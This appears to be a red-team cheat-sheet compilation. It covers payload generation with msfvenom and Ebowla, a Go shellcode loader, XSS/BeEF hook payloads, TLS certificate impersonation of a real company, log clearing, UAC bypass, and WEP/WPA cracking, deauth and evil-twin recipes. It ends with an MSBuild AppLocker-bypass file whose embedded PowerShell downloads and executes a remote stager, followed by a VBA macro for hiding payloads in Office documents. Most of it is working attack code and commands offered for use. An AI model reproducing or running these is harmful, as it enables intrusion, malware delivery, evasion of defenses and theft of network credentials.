| Select "payload_type" such as EXE, etc | |
| Select "clean_output" as false to start with, select true once you know the payload is successful | |
| Select "Time_range" as a value when you are ready to start your engagement | |
| ------------ | |
| Create payload | |
| msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=10.10.10.10 LPORT=8443 > shell.exe | |
| or whatever payload you want | |
| ------------- | |
| generate payload | |
| ./ebowla.py shell.exe genetic.config | |
| ------------- | |
| build payload | |
| ./build_x86_go.sh output/go_symmetric_shell.exe.go shell.exe | |
| Ebowla Malware | |
| in genetic.config file | |
| Select "output_type" it'll be either GO, Python, or Powershell | |
| Select "payload_type" such as EXE, etc | |
| Select "clean_output" as false to start with, select true once you know the payload is successful | |
| Select "Time_range" as a value when you are ready to start your engagement | |
| ------------ | |
| Create payload | |
| msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=10.10.10.10 LPORT=8443 > shell.exe | |
| or whatever payload you want | |
| ------------- | |
| generate payload | |
| ./ebowla.py shell.exe genetic.config | |
| ------------- | |
| build payload | |
| ./build_x86_go.sh output/go_symmetric_shell.exe.go shell.exe | |
| --------------------------------------- | |
| Windows Defender | |
| C:\AD\Tools\ <---This directory is exempt against Windows Defender. | |
| | |
| https://github.com/Mr-Un1k0d3r/ThunderShell | |
| --------------------- | |
| https://0x00sec.org/t/clientside-exploitation-tricks-of-the-trade-0x01-sharpshooter-squibblytwo/8178 | |
| https://github.com/mdsecactivebreach/SharpShooter | |
| python SharpShooter.py --stageless --dotnetver 2 --payload hta --output malware --rawscfile /root/Desktop/payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.0.16:8080/malware.xsl | |
| ----------------------------------------------------------------- | |
| Execute shellcode in golang | |
| https://github.com/brimstone/go-shellcode | |
| https://github.com/vyrus001/shellGo | |
| For https://github.com/vyrus001/shellGo | |
| 1. Copy the main.go file from https://raw.githubusercontent.com/vyrus001/shellGo/master/main.go | |
| 2. Generate a raw payload from cobalt strike, e.g., Attacks -> Packages -> Windows Executable (S) |
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| package main | |
| import ( | |
| "io/ioutil" | |
| "os" | |
| "syscall" | |
| "unsafe" | |
| ) | |
| const ( | |
| MEM_COMMIT = 0x1000 | |
| MEM_RESERVE = 0x2000 | |
| PAGE_EXECUTE_READWRITE = 0x40 | |
| ) | |
| var ( | |
| kernel32 = syscall.MustLoadDLL("kernel32.dll") | |
| ntdll = syscall.MustLoadDLL("ntdll.dll") | |
| VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") | |
| RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") | |
| shellcode_calc = []byte{ //insert shellcode here in the form of 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, etc then compile with GOOS=windows GOARCH=amd64 go build or GOOS=windows GOARCH=386 go build | |
| } | |
| ) | |
| func checkErr(err error) { | |
| if err != nil { | |
| if err.Error() != "The operation completed successfully." { | |
| println(err.Error()) | |
| os.Exit(1) | |
| } | |
| } | |
| } | |
| func main() { | |
| shellcode := shellcode_calc | |
| if len(os.Args) > 1 { | |
| shellcodeFileData, err := ioutil.ReadFile(os.Args[1]) | |
| checkErr(err) | |
| shellcode = shellcodeFileData | |
| } | |
| addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) | |
| if addr == 0 { | |
| checkErr(err) | |
| } | |
| _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) | |
| checkErr(err) | |
| syscall.Syscall(addr, 0, 0, 0, 0) | |
| } |
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| Sharpup-Privesc - https://github.com/GhostPack/SharpUp.git | |
| SharpView - https://github.com/tevora-threat/SharpView.git | |
| SharpCOM - https://github.com/rvrsh3ll/SharpCOM.git | |
| Goddi - https://github.com/NetSPI/goddi.git | |
| Rubeus - https://github.com/GhostPack/Rubeus.git | |
| Sharphound - https://github.com/BloodHoundAD/SharpHound.git | |
| Sharp-InvokeWMIExec - https://github.com/checkymander/Sharp-WMIExec.git | |
| Invoke-Thehash - https://github.com/Kevin-Robertson/Invoke-TheHash.git | |
| ClipboardMonitor - https://github.com/mrousavy/ClipboardMonitor.git | |
| Keethief - https://github.com/HarmJ0y/KeeThief.git | |
| DNSrecon - https://github.com/darkoperator/dnsrecon.git | |
| Seatbelt - https://github.com/GhostPack/Seatbelt.git | |
| Internal Monologue - https://github.com/eladshamir/Internal-Monologue.git | |
| LAPS tools - https://github.com/ztrhgf/LAPS | |
| Privesc | |
| [>] https://www.rythmstick.net/posts/cve-2019-1064/ | |
| [!] CVE-2019-1130 : VULNERABLE | |
| [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear | |
| [!] CVE-2019-1253 : VULNERABLE | |
| [>] https://github.com/padovah4ck/CVE-2019-1253 | |
| [!] CVE-2019-1315 : VULNERABLE | |
| [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html | |
| https://github.com/swisskyrepo/PayloadsAllTheThings/ | |
| New Windows Exploit Suggestor - https://github.com/bitsadmin/wesng | |
| https://github.com/PowerShell/GPRegistryPolicyParser | |
| https://raw.githubusercontent.com/n00py/ReadingList/master/gunsafe.txt | |
| SharpWeb - .NET 2.0 CLR project to retrieve saved browser credentials - https://github.com/djhohnstein/SharpWeb | |
| reconerator - C# Targeted Attack Reconnissance Tools - https://github.com/stufus/reconerator | |
| SafetyKatz - create a minidump of LSASS - https://github.com/GhostPack/SafetyKatz | |
| SharpShooter - framework for the retrieval and execution of arbitrary CSharp source code - https://github.com/mdsecactivebreach/SharpShooter | |
| SharpCradle - download and execute .NET binaries into memory - https://github.com/anthemtotheego/SharpCradle | |
| Sharp-WMIExec - C# conversion of Invoke-WMIExec - https://github.com/checkymander/Sharp-WMIExec | |
| Sharp-SMBExec - C# conversion of Invoke-SMBExec https://github.com/checkymander/Sharp-SMBExec | |
| SharpCloud - Collecting AWS, Microsoft Azure, and Google Compute creds - https://github.com/chrismaddalena/SharpCloud | |
| SharpView - C# implementation of PowerView - https://github.com/tevora-threat/SharpView | |
| SharpHound - The BloodHound C# Ingestor - https://github.com/BloodHoundAD/SharpHoun | |
| SharpGen - C# compiler to cross-compile .NET console applications or libraries. - https://github.com/cobbr/SharpGen | |
| InveighZero - C# LLMNR/NBNS spoofer - https://github.com/Kevin-Robertson/InveighZero | |
| SharpSploitConsole - Console Application designed to interact with SharpSploit - https://github.com/anthemtotheego/SharpSploitConsole | |
| SharpSniper - Find specific users in active directory via username and IP address - https://github.com/HunnicCyber/SharpSniper | |
| SharPersist - Windows persistence toolkit - https://github.com/fireeye/SharPersist | |
| RedTeamCSharpScripts - C# Script used for Red Team - https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts | |
| SharPyShell - iny and obfuscated ASP.NET webshell for C# - https://github.com/antonioCoco/SharPyShell | |
| pacu - The AWS exploitation framework - https://github.com/RhinoSecurityLabs/pacu | |
| weirdAAL - AWS Attack Library - https://github.com/carnal0wnage/weirdAAL | |
| ScoutSuite - Multi-Cloud Security Auditing Tool - https://github.com/nccgroup/ScoutSuite | |
| AWS-IAM-Privilege-Escalation - AWS IAM privilege escalation methods - https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation | |
| nimbostratus - ingerprinting and exploiting Amazon cloud infrastructures - https://github.com/andresriancho/nimbostratus |
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| <iframe src="http://172.16.40.5:9999"></iframe> <----works | |
| <script src="http://172.16.111.30/hook.js"></script> | |
| <iframe src=http://172.16.5.20:8080/fuckyocouch width=1 height=1 style=”visibility:hidden; position:absolute”></iframe> | |
| <img src='http://10.100.13.200:80' onerror="alert('XSS');" /> | |
| <script src="http://10.100.13.200:3000/hook.js"></script> | |
| <script>alert('I like your boobs')</script> |
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| Drop new events: | |
| event::drop | |
| event::clear ***this clears all events |
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| Using OpenSSL | |
| ----------------------- | |
| openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=Humana.com" -days 7 | |
| Using Metasploit | |
| ------------------------ | |
| use auxiliary/gather/impersonate_ssl | |
| set ADD_CN *.humana.com | |
| set EXPIRATION 09 March 2025 | |
| set RHOST humana.com |
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| https://github.com/byt3bl33d3r/OffensiveDLR | |
| https://github.com/GhostPack/Seatbelt | |
| https://github.com/leoloobeek/csharp | |
| https://github.com/cobbr/SharpShell | |
| https://github.com/GhostPack/Seatbelt/ | |
| https://github.com/GhostPack/SharpUp/ | |
| https://github.com/GhostPack/SharpRoast/ | |
| https://github.com/GhostPack/SharpDump/ | |
| https://github.com/GhostPack/Rubeus | |
| https://github.com/GhostPack/SafetyKatz/ | |
| https://github.com/GhostPack/SharpWMI/ | |
| https://github.com/GhostPack/ | |
| https://www.harmj0y.net/blog/redteaming/ghostpack/ | |
| https://medium.com/@malcomvetter/net-process-injection-1a1af00359bc |
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| bypass UAC | |
| Locations of files | |
| /usr/share/metasploit-framework/data/post/bypassuac-x64.dll | |
| /usr/share/metasploit-framework/data/post/bypassuac-x64.exe | |
| /usr/share/metasploit-framework/data/post/bypassuac-x86.dll | |
| /usr/share/metasploit-framework/data/post/bypassuac-x86.exe | |
| /usr/share/metasploit-framework/modules/exploits/windows/local/bypassuac.rb | |
| /usr/share/metasploit-framework/modules/exploits/windows/local/bypassuac_injection.rb | |
| /usr/share/metasploit-framework/modules/exploits/windows/local/bypassuac_vbs.rb | |
| usage | |
| with the exe file you can do the following, to execute a malicious exe reverse shell or something | |
| bypassuac-x64.exe /c C:\users\els\desktop\rtcp.exe | |
| bypassuac is the file -- /c is the argument -- rtcp.exe is the malicious shell | |
| https://github.com/hfiref0x/UACME |
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| Assemble a file | |
| as write2.s -o write2.o && ld write2.o -o write2 | |
| Disassemble a File | |
| objdump -d write2 | |
| Debugging with GDB + GEF | |
| gdb write2 | |
| break _start | |
| run |
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| #Get Wireless interface status | |
| root@kali:~# iwconfig | |
| #Get status of driver | |
| root@kali:~# dmesg | grep 2x00 | |
| #Get a ton of information on your wireless NIC and it's driver | |
| root@kali:~# iw list | less | |
| #Get a list of the wireless networks around you | |
| root@kali:~# iw dev wlan0 scan | grep SSID | |
| SSID: chalupa_2GEXT | |
| SSID: TC8717T4C | |
| SSID: Hatfield Network | |
| SSID: | |
| SSID: chalupa | |
| SSID: ATTh9rTqXi | |
| #Get a list of channel numbers and their corresponding frequencies | |
| root@kali:~# iwlist wlan0 frequency | |
| wlan0 14 channels in total; available frequencies : | |
| Channel 01 : 2.412 GHz | |
| Channel 02 : 2.417 GHz | |
| Channel 03 : 2.422 GHz | |
| snip.... | |
| #Get a list of Networks around you and the channel that they are on | |
| root@kali:~# iwlist wlan0 scanning | egrep "ESSID|Channel" | |
| root@kali:~# iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID" | |
| SSID: chalupa_2GEXT | |
| DS Parameter set: channel 6 | |
| SSID: Hatfield Network | |
| DS Parameter set: channel 1 | |
| SSID: TC8717T4C | |
| DS Parameter set: channel 1 | |
| #Create a VAP (virtual access point that is in monitor mode) | |
| root@kali:~# iw dev wlan0 interface add mon0 type monitor | |
| root@kali:~# ifconfig mon0 up | |
| *now type ifconfig, and you should see an interface called mon0 | |
| **now lets double check that you are actually IN MONITOR mode | |
| root@kali:~# tcpdump -i mon0 -s 65000 -p | |
| tcpdump: verbose output suppressed, use -v or -vv for full protocol decode | |
| listening on mon0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 65000 bytes | |
| 12:44:32.988131 1.0 Mb/s 2437 MHz 11b -25dB signal antenna 1 Beacon (chalupa_2GEXT) [1.0* 2.0* 5.5 11.0 18.0 24.0 36.0 54.0 Mbit] ESS CH: 6, PRIVACY | |
| 12:44:32.990346 1.0 Mb/s 2437 MHz 11b -25dB signal antenna 1 Data IV:3aaaa Pad 0 KeyID 0 | |
| 12:44:33.013759 1.0 Mb/s 2437 MHz 11b -47dB signal antenna 1 Beacon (chalupa) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 6, PRIVACY | |
| snip....... | |
| If you see the above output, IE beacon and privacy mode etc etc...then you are successfully in monitor mode. | |
| ***Now to delete the VAP if you want to | |
| root@kali:~# iw dev mon0 interface del | |
| ******** | |
| #Put your Network Card into monitor mode on a specific channel. | |
| root@kali:~# iwconfig wlan0 mode monitor channel 6 | |
| root@kali:~# ifconfig wlan0 up <--check if it's up and on monitor mode | |
| now check TCP Dump to make sure you are actually in monitor mode | |
| root@kali:~#tcpdump -i -wlan0 -s 65000 -p | |
| -------------- | |
| #Take your card out of monitor mode | |
| root@kali:~# iwconfig wlan0 mode managed | |
| ------------- | |
| ********************************** | |
| # See if you are using 802.11 Drivers | |
| RANDOM stuff | |
| root@kali:~# iwlist | |
| If you get no results, then you are not using 802.11, if you see the following | |
| ****** | |
| root@kali:~# iwlist | |
| Usage: iwlist [interface] scanning [essid NNN] [last] | |
| [interface] frequency | |
| [interface] channel | |
| [interface] bitrate | |
| [interface] rate | |
| [interface] encryption | |
| snip.... | |
| ******* | |
| Then you are using 802.11 | |
| ---------------------------------------- | |
| rmmod r8187 <---rmmod will remove a driver 8187 is the driver, with my alfa it would be rmmod 2x00 | |
| modprobe rtl8187 <----after running rmmod command above, modprobe will begin using the 802.11 driver | |
| -------------------------------- |
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| PHY Interface Driver Chipset | |
| phy1 wlan0 rt2800usb Ralink Technology, Corp. RT2870/RT3070 | |
| (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon) | |
| (mac80211 station mode vif disabled for [phy1]wlan0) | |
| ==== | |
| #Stop Monitor mode | |
| root@kali:~# airmon-ng stop mon0 | |
| PHY Interface Driver Chipset | |
| phy1 wlan0mon rt2800usb Ralink Technology, Corp. RT2870/RT3070 | |
| ==== | |
| #Start Monitor mode on a specific channel | |
| root@kali:~# airmon-ng start wlan0mon 6 | |
| PHY Interface Driver Chipset | |
| phy1 wlan0mon rt2800usb Ralink Technology, Corp. RT2870/RT3070 | |
| **check your channel with | |
| root@kali:~# iwlist wlan0mon channel | |
| ==== | |
| #Check to see what networks are within range | |
| root@kali:~# airodump-ng wlan0mon | |
| BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID | |
| A0:63:91:D5:63:07 -23 46 27 0 6 54e WPA2 CCMP PSK chalupa_2GEXT | |
| FA:8F:CA:85:86:4C -36 53 0 0 6 54e. OPN <length: 0> | |
| C4:E9:84:E5:D7:05 -46 51 1 0 6 54e. WPA2 CCMP PSK chalupa | |
| 08:95:2A:6C:7D:52 -68 42 4 0 1 54e WPA2 CCMP PSK TC8717T4C | |
| 40:B8:9A:DE:D0:70 -70 44 9 0 1 54e WPA2 CCMP PSK Hatfield Network | |
| 00:22:75:6C:05:18 -76 26 13 0 11 54e WPA2 CCMP PSK insight wifi 2999 | |
| A8:A7:95:E8:62:31 -77 11 0 0 1 54e WPA2 CCMP PSK TWC_Wifi_515 | |
| 38:4C:90:6B:B5:60 -78 4 0 0 11 54e. WPA2 CCMP PSK GABBY | |
| 94:62:69:6D:0D:60 -79 7 0 0 6 54e WPA2 CCMP PSK ATTh9rTqXi | |
| BSSID: MAC addresses of the access point | |
| PWR: | |
| Beacons: | |
| Data: Number of initializations vectors that airodump-ng has captured | |
| #/s: Rate at which the data packets are being collected | |
| CH: Channel that the access point is on | |
| MB: | |
| ENC: What encryption type is being used on the access point | |
| CIPHER: What cipher is detected on the encrypted network | |
| AUTH: Displays authentication protocol in use | |
| ESSID: Name of the network. | |
| On the lower half, BSSID is the MAC addresses of the devices connected on the network. | |
| ==== |
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| wifite -b <MAC ADDRESS of victim> --quiet --pixie | |
| A0:63:91:D5:63:07 | |
| wifite -b A0:63:91:D5:63:07 --quiet --pixie |
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| Open the pcap or cap in wireshark and type the following capture filter | |
| eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08 | |
| This will give you authentication beacons etc | |
| +++++++++++++++++++++++++++= | |
| Crack a valid handshake inside of a pcap file | |
| aircrack-ng <pcap-name.cap> -w <wordlist-name.txt> |
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| airmon-ng check kill #Check and kill unecessary processes | |
| airmon-ng start wlan0 #start your wireless interface into monitor mode (wlan0 might need to change) | |
| airodump-ng wlan0mon # Start monitoring on your network interface (wlan0mon might need to be changed) | |
| # Now start checking who you want to hack into. Write down your own mac address by using ifconfig -a and writing down the "ether" address | |
| #Write down the channel - the ENC type IE WEP or WPA - BSSID - ESSID - ANY stations associated with the victim BSSID | |
| Channel: 6 | |
| BSSID: F8:ED:A5:8B:85:90 | |
| ESSID: fart-boner | |
| AP MAC: F8:ED:A5:8B:85:90 | |
| Stations associated (MAC): | |
| Your NIC's MAC: 00:c0:ca:5a:05:b7 | |
| airomon-ng start wlan0mon 6 (the number 6 reflects the channel you are hacking on) | |
| airodump-ng -c 6 --bssid F8:ED:A5:8B:85:90 -w /root/Desktop/new-test wlan0mon | |
| aireplay-ng -1 0 -e fart-boner -a F8:ED:A5:8B:85:90 -h 00:c0:ca:5a:05:b7 wlan0mon | |
| aireplay-ng -3 -b F8:ED:A5:8B:85:90 -h 00:c0:ca:5a:05:b7 wlan0mon | |
| aireplay-ng -0 1 -a F8:ED:A5:8B:85:90 -c 00:c0:ca:5a:05:b7 wlan0mon | |
| aircrack-ng /root/Desktop/new-test-01.cap |
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| Clientless WEP Cracking Attack Summary | |
| ---------------------------------------- | |
| Place your wireless card into monitor mode on the channel number of the AP: | |
| airmon-ng start <interface> <AP channel> | |
| Start an Airodump-ng capture, filtering on the AP channel and BSSID, saving the capture: | |
| airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface> | |
| Conduct a fake authentication attack against the AP: | |
| aireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface> | |
| Run attack 4, the KoreK chopchop attack (or attack 5, the fragmentation attack): | |
| aireplay-ng -4 -b <AP MAC> -h <Your MAC> <interface> | |
| Craft an ARP request packet using packetforge-ng: | |
| packetforge-ng -0 -a <AP MAC> -h <Your MAC> -l <Source IP> -k <Dest IP> -y | |
| <xor filename> -w <output filename> | |
| Inject the packet into the network using attack 2, the interactive packet replay attack: | |
| aireplay-ng -2 -r <packet filename> <interface> | |
| Crack the WEP key using Aircrack-ng: | |
| aircrack-ng <capture> |
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| Base64 output of commands | |
| base64 /out:true | |
| base64 /out:false |
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| Cracking WEP via a Client Attack | |
| ----------------------------------------- | |
| Place your wireless card into monitor mode on the AP channel: | |
| airmon-ng start <interface> <AP channel> | |
| Start a capture dump, filtering on the AP channel and BSSID, saving the capture to a file: | |
| airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface> | |
| Next, conduct a fake authentication against the access point: | |
| aireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface> | |
| Launch the interactive packet replay attack looking for ARP packets coming from the AP: | |
| aireplay-ng -2 -b <AP MAC> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 <interface> | |
| aircrack-ng -z <capture> |
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| Cracking WPA Attack | |
| ---------------------------- | |
| Begin by placing your wireless card into monitor mode on the channel number of the AP: | |
| airmon-ng start <interface> <AP channel> | |
| Start an Airodump capture, filtering on the AP channel and BSSID, saving the capture to | |
| disk: | |
| airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface> | |
| Deauthenticate a connected client to force it to complete the 4-way handshake: | |
| aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface> | |
| Crack the WPA password with Aircrack-ng: | |
| aircrack-ng -w <wordlist> <capture> | |
| Alternatively, if you have and Airolib-ng database, it can be passed to Aircrack: | |
| aircrack-ng -r <db name> <capture> |
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| Aircrack-ng and JTR Attack | |
| --------------------------- | |
| Place your wireless card into monitor mode on the channel number of the AP: | |
| airmon-ng start <interface> <AP channel> | |
| Start an Airodump capture, filtering on the AP channel and BSSID, saving the capture to | |
| disk: | |
| airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface> | |
| Force a client to reconnect and complete the 4-way handshake by running a | |
| deauthentication attack against it: | |
| aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface> | |
| Once a handshake has been captured, change to the John the Ripper directory and pipe in | |
| the mangled words into Aircrack-ng to obtain the WPA password: | |
| ./john --wordlist=<wordlist> --rules --stdout | aircrack-ng -e <ESSID> -w - | |
| <capture> |
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| ./eaphammer -i wlan0 --bssid 00:a2:ee:90:05:af --channel 1 --auth ttls --wpa 2 --essid VictimWireless --creds |
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| coWPAtty Attack | |
| ----------------- | |
| Place your wireless card into monitor mode on the channel number of the AP: | |
| airmon-ng start <interface> <AP channel> | |
| Start an Airodump capture, filtering on the AP channel and BSSID, saving the file to disk: | |
| airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface> | |
| Deauthenticate a connected client to force it to complete the 4-way handshake: | |
| aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface> | |
| To crack the WPA password with coWPAtty in wordlist mode: | |
| cowpatty -r <capture> -f <wordlist> -2 -s <ESSID> | |
| To use rainbow table mode with coWPAtty, first generate the hashes: | |
| genpmk -f <wordlist> -d <hashes filename> -s <ESSID> | |
| Run coWPAtty with the generated hashes to recover the WPA password: | |
| cowpatty -r <capture> -d <hashes filename> -2 -s <ESSID> |
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| Pyrit Attack | |
| --------------- | |
| Place your wireless card into monitor mode on the channel number of the AP: | |
| airmon-ng start <interface> <AP channel> | |
| Use Pyrit to sniff on the monitor mode interface, saving the capture to a file: | |
| pyrit -r <interface> -o <capture> stripLive | |
| Deauthenticate a connected client to force it to complete the 4-way handshake: | |
| aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface> | |
| Run Pyrit in dictionary mode to crack the WPA password: | |
| pyrit -r <capture> -i <wordlist> -b <AP MAC> attack_passthrough | |
| To use Pyrit in database mode, begin by importing your wordlist: | |
| pyrit -i <wordlist> import_passwords | |
| Add the ESSID of the access point to the Pyrit database: | |
| pyrit -e <ESSID> create_essid | |
| Generate the PMKs for the ESSID: | |
| pyrit batch | |
| Launch Pyrit in database mode to crack the WPA password: | |
| pyrit -r <capture> -b <AP MAC> attack_db |
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| Check wifi status | |
| iwconfig | |
| Start Wireless Interface into Monitor Mode | |
| --------- | |
| airmon-ng start <wireless interface probably wlan0> | |
| Start Traffic Capture | |
| --------- | |
| airodump-ng <wireless interface that is in monitor mode probably wlan0mon> | |
| Create a New AP with same SSID and MAC | |
| --------- | |
| airbase-ng -a <mac address of access point> -essid <name of access point you want to clone> -c <channel> <wireless interface> | |
| Deauthing Access Point | |
| --------- | |
| aireplay-ng --deauth 0 -a <Mac Address of Acces Point | |
| Turn Up The power on our evil access point (we need to be more powerful than the access point we'd like to clone) | |
| --------- | |
| iw reg set BO | |
| iwconfig <wireless interface> txpower 30 |
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| My next step was to install hostapd-wpe, one of my go to Enterprise RADIUS MiTM attack techniques. I was happy to see that Kali is now including this in the repos, making for an easy install instead of needing to patch hostapd yourself. | |
| -------------------------------------------------------------------------------------------------------------- | |
| -------------------------------------------------------------------------------------------------------------- | |
| apt-get install hostapd-wpe | |
| To configure hostapd-wpe, modify the configuration file: | |
| nano /etc/hostapd-wpe/hostapd-wpe.conf | |
| so that: | |
| ssid=<Targeted SSID> | |
| channel=1 | |
| <insert new line under channel> | |
| ieee80211n=1 | |
| <scroll down quite a bit and change> | |
| hw_mode=g | |
| With this configured, you can now launch hostapd-wpe: | |
| ./hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf |
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| aircrack - not pyrit | |
| 1 | |
| fake ap with airbase ng | |
| handshake with aircrack | |
| deauth target | |
| check handshake | |
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| List commands in module | |
| kerberos:: | |
| sekurlsa:: | |
| *****Just type in the name of the module followed by :: and press enter |
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| ifconfig wlan0 down | |
| iw reg set BO | |
| ifconfig wlan0 up | |
| iwconfig wlan0 channel 13 | |
| iwconfig wlan0 txpower 30 |
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| reaver -i <wireless interface> -b <bssid> -d 10 -S -N -vv |
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| Pattern Create: find out which bytes overwrite the string | |
| /usr/share/metasploit-framework/tools/pattern_create.rb | |
| ^^^^^ | |
| find out which bytes overwrite the string, just add the number of bytes after /usr/share/metasploit-framework/tools/pattern_create.rb | |
| I.E. "/usr/share/metasploit-framework/tools/pattern_create.rb 2700" | |
| --------------------------------------------- | |
| Pattern offset: Discover exact position of the bytes that overwrite the string | |
| IE -- /usr/share/metasploit-framework/tools/pattern_offset.rb 39694438 <----this string is the output we get after using patter create -- it is what the EIP registers | |
| -------------------------------------------- | |
| mona.py | |
| -------------------------------------------- | |
| NASM: Print out any instruction of the code we provide it with. | |
| ruby /usr/share/metasploit-framework/tools/nasm_shell.rb |
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| With demiguise - demiguise will generate an encrypted hta file | |
| -k = encryption key | |
| -c = command or payload, like an empire payload | |
| -p = application | |
| -o = output | |
| python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta |
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| C:\Windows\Microsoft.NET\Framework\v4.0.30319> msbuild.exe malware.xml | |
| https://github.com/giMini/PowerMemory/blob/master/RWMC/misc/reverseshell.xml | |
| https://github.com/Cn33liz/MSBuildShell | |
| https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/ | |
| https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Trusted_Developer_Utilities.md | |
| https://oddvar.moe/2017/12/13/harden-windows-with-applocker-based-on-case-study-part-1/ | |
| ############################################################################## | |
| Do Not Edit Below this Line - copy, paste, make a new xml file | |
| ############################################################################## | |
| <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
| <Target Name="34rfas"> | |
| <QWEridxnaPO /> | |
| </Target> | |
| <UsingTask | |
| TaskName="QWEridxnaPO" | |
| TaskFactory="CodeTaskFactory" | |
| AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
| <Task> | |
| <Reference Include="System.Management.Automation" /> | |
| <Code Type="Class" Language="cs"> | |
| <![CDATA[ | |
| using System; | |
| using System.IO; | |
| using System.Diagnostics; | |
| using System.Reflection; | |
| using System.Runtime.InteropServices; | |
| using System.Collections.ObjectModel; | |
| using System.Management.Automation; | |
| using System.Management.Automation.Runspaces; | |
| using System.Text; | |
| using Microsoft.Build.Framework; | |
| using Microsoft.Build.Utilities; | |
| public class QWEridxnaPO : Task, ITask { | |
| public override bool Execute() { | |
| string pok = "$WC=NeW-ObJeCt SySteM.NeT.WEbClieNT; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0 rv:11.0) like Gecko';$wc.HeAdErS.aDD('User-Agent',$u);$wC.pRoXy = [SYStem.NET.WEBREquest]::DefAulTwebProxy;$wc.prOxy.CrEdEntIALs = [sYsTeM.NeT.cReDeNtiaLCache]::DeFaultNETwoRKcReDentIals;$wc.dOwNloaDStriNG('http://192.168.0.15/stager.ps1') | IEX"; | |
| Runspace runspace = RunspaceFactory.CreateRunspace(); | |
| runspace.Open(); | |
| RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); | |
| Pipeline pipeline = runspace.CreatePipeline(); | |
| pipeline.Commands.AddScript(pok); | |
| pipeline.Invoke(); | |
| runspace.Close(); | |
| return true; | |
| } | |
| } | |
| ]]> | |
| </Code> | |
| </Task> | |
| </UsingTask> | |
| </Project> |
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| Use this as a macro inside a word doc, excel doc, or whatever you can think of, the example below uses msbuild. Also, you have to base64 encode your payload and paste the payload into the "Comments" properties of your document. | |
| ###################################################################################### | |
| Do not edit below this line, copy, paste, and make your own file. | |
| ####################################################################################### | |
| Option Explicit | |
| Private InitDone As Boolean | |
| Private Map1(0 To 63) As Byte | |
| Private Map2(0 To 127) As Byte | |
| Public Function Base64EncodeString(ByVal s As String) As String | |
| Base64EncodeString = Base64Encode(ConvertStringToBytes(s)) | |
| End Function | |
| Public Function Base64Encode(InData() As Byte) | |
| Base64Encode = Base64Encode2(InData, UBound(InData) - LBound(InData) + 1) | |
| End Function | |
| Public Function Base64Encode2(InData() As Byte, ByVal InLen As Long) As String | |
| If Not InitDone Then Init | |
| If InLen = 0 Then Base64Encode2 = "": Exit Function | |
| Dim ODataLen As Long: ODataLen = (InLen * 4 + 2) \ 3 ' output length without padding | |
| Dim OLen As Long: OLen = ((InLen + 2) \ 3) * 4 ' output length including padding | |
| Dim Out() As Byte | |
| ReDim Out(0 To OLen - 1) As Byte | |
| Dim ip0 As Long: ip0 = LBound(InData) | |
| Dim ip As Long | |
| Dim op As Long | |
| Do While ip < InLen | |
| Dim i0 As Byte: i0 = InData(ip0 + ip): ip = ip + 1 | |
| Dim i1 As Byte: If ip < InLen Then i1 = InData(ip0 + ip): ip = ip + 1 Else i1 = 0 | |
| Dim i2 As Byte: If ip < InLen Then i2 = InData(ip0 + ip): ip = ip + 1 Else i2 = 0 | |
| Dim o0 As Byte: o0 = i0 \ 4 | |
| Dim o1 As Byte: o1 = ((i0 And 3) * &H10) Or (i1 \ &H10) | |
| Dim o2 As Byte: o2 = ((i1 And &HF) * 4) Or (i2 \ &H40) | |
| Dim o3 As Byte: o3 = i2 And &H3F | |
| Out(op) = Map1(o0): op = op + 1 | |
| Out(op) = Map1(o1): op = op + 1 | |
| Out(op) = IIf(op < ODataLen, Map1(o2), Asc("=")): op = op + 1 | |
| Out(op) = IIf(op < ODataLen, Map1(o3), Asc("=")): op = op + 1 | |
| Loop | |
| Base64Encode2 = ConvertBytesToString(Out) | |
| End Function | |
| Public Function Base64DecodeString(ByVal s As String) As String | |
| If s = "" Then Base64DecodeString = "": Exit Function | |
| Base64DecodeString = ConvertBytesToString(Base64Decode(s)) | |
| End Function | |
| Public Function Base64Decode(ByVal s As String) As Byte() | |
| If Not InitDone Then Init | |
| Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s) | |
| Dim ILen As Long: ILen = UBound(IBuf) + 1 | |
